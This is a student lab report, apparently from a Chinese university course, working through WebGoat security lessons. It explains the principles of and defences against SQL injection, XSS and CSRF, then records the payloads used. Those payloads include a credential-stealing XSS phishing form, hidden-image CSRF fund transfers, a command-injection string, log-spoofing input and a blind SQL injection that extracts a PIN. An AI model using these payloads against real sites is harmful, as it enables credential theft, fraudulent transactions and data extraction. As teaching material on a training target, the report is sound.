20165309 《網絡對抗技術》實驗九:Web安全基礎
1.基礎問題回答
(1)SQL注入攻擊原理,如何防護。
- 原理:SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,使非法數據侵入系統。
- 防護:
- 對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。
- 在PHP配置文件中
Register_globals=off;
設置爲關閉狀態,做用將註冊全局變量關閉。
- 提升數據庫命名技巧,對於一些重要的字段根據程序的特色命名,取不易被猜到的。
- 開啓PHP安全模式
Safe_mode=on;
。
(2)XSS攻擊的原理,如何防護。
- 原理:XSS攻擊(跨站腳本攻擊)是一種在Web應用中的計算機安全漏洞,它容許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。
- 防護:
- 特徵匹配方式,在全部提交的信息中都進行匹配檢查,通常會對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。
- 對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。
- 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
(3)CSRF攻擊原理,如何防護。
- 原理:CSRF(Cross-site request forgery)跨站請求僞造是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。
- CSRF通常的攻擊過程是,攻擊者向目標網站注入一個惡意的CSRF攻擊URL地址(跨站url),當用戶訪問某特定網頁時,若是用戶點擊了該URL,那麼攻擊就觸發了,咱們能夠在該惡意的url對應的網頁中,利用
<img src="" />
來向目標網站發生一個GET請求,該請求會攜帶cookie信息,因此也就借用了用戶的身份,也就是僞造了一個請求,該請求能夠是目標網站中的用戶有權限訪問的任意請求。也可使用javascript構造一個提交表單的POST請求。
- 防護:
- 經過referer、token或者驗證碼來檢測用戶提交。
- 「雙提交」cookie。某個受權的cookie在form post以前正被JavaScript代碼讀取,那麼限制跨域規則將被應用。服務器須要在Post請求體或者URL中包含受權cookie的請求,那麼這個請求必須來自於受信任的域。
- 用戶在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie。
返回目錄javascript
2.實驗總結與體會
(1)遇到的問題與解決
- 問題:在作Numeric SQL Injection的時候,添加了
or 1=1
後依然報錯,Select中顯示問號。
- 解決:後來我才意識到是由於當初拷同窗的虛擬機的時候(由於本身下不下來webgoat...),這項課程已經完成了,因此不能do it again,須要從新開始。

(2)實驗感覺
本次實驗讓我有了在作實驗樓的類似感,一步步跟着提示完成課程頗有趣,收穫也不少。同時,我也意識到了本身英語水平的薄弱,仍是得多練習英語纔是...順便推薦一波WebGoat中文手冊,便於加深你們對本次實驗的理解。html
返回目錄java
3.實踐過程記錄
(1)前期準備:WebGoat
(2)XSS攻擊
① Phishing with XSS
- hint提示要嘗試向搜索字段添加HTML以建立假身份驗證表單。
- 在左側欄Cross-Site Scripting(XSS)攻擊中打開Phishing with XSS,將下面這段代碼輸入到"Search:"輸入框中:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 點擊搜索,會看到一個要求輸入用戶名密碼的表單:

- 輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:

② Stored XSS Attacks
- hint:You can put HTML tags in your message.意思是咱們要在信息中添加一個html的標籤。
- 在信息中輸入:
<script>alert("hi I am 5309");</script>
便可。

③ Reflected XSS Attacks
- 看一眼hint:A simple script is .
- 很簡單,把它放到一個輸入框裏試試:

bang!
(3)CSRF攻擊
④ Cross Site Request Forgery(CSRF)
- 看要求是讓咱們發送一個惡意URL請求的圖片給用戶,在message框裏輸入一段文字,文字裏包含了惡意圖片,不能讓別人看出了。
- 輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=10000" width="1" height="1">
,其中src指向網站的連接,這裏就是本身的這個網站,後面的兩個參數能夠根據紅框中的值據實填寫,轉帳金額暫定成10000元,而後經過寬高設置成1像素,隱藏掉這個圖片。

- 點擊後就執行了這個代碼,被攻擊者就會給你轉錢啦:

⑤ CSRF Prompt By-Pass
- 看題目要求是和上一道題同樣,只不過如今須要確認轉帳。
- 在message中輸入:
<img src="attack?Screen=324&menu=900&transferFunds=10000"
width="1" height="1">
<img src="attack?Screen=324&menu=900&transferFunds=confirm"
width="1" height="1">
- 攻擊成功~

(4)Injection Flaws
⑥ Command Injection
- 嘗試注入netstat -an以及ifconfig這兩個系統命令以獲取本地計算機創建鏈接的IP以及系統的網絡端口使用狀況以及IP地址。在所請求的頁面源代碼中添加
"& netstat -an & ipconfig"
,如圖所示:

- 在課程頁面的下拉菜單就能夠看到咱們新設的值,選定它,而後點擊view後能夠看到網絡端口使用狀況和IP地址。

⑦ Numeric SQL Injection
- 查看Solution可知咱們須要嘗試追加一個老是解析爲true的SQL語句,攔截POST請求,用101或1=1替換101。
- 將語句替換爲
SELECT * FROM weather_data WHERE station = 101 OR 1=1
,即在查看器中更改代碼以下圖所示:

- 能夠看到全部城市的天氣了:

⑧ Log Spoofing
- 日誌僞造,目的是經過注入惡意字符串,按照規則僞造出一條日誌,在Username輸入
wsj%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符。

⑨ Blind Numeric SQL Injection
- 題目中說明了下面的表單容許用戶輸入賬號並肯定它是否有效,意思就是返回值只有帳戶有效或無效兩種。
- 能夠利用系統後臺在用的查詢語句:
SELECT * FROM user_data WHERE userid=accountNumber;
若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。
- 使用AND函數添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬號有效,不然無效,例如:
101 AND 1=1 101 AND 1=2
在第一條語句中,兩個條件都成立,因此頁面返回賬號有效。而第二條則返回賬號無效。
- 如今能夠針對查詢語句的後半部分構造複雜語句。下面的語句能夠告訴咱們 PIN 數值是否大於1000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1000 );
若是頁面提示賬號有效,說明PIN>1000不然PIN<=1000。
- 不斷調整數值,能夠縮小判斷範圍,並最終判斷出PIN 數值的大小。最終以下語句返回賬號有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

- 在查詢框中輸入2364 並提交:

返回目錄git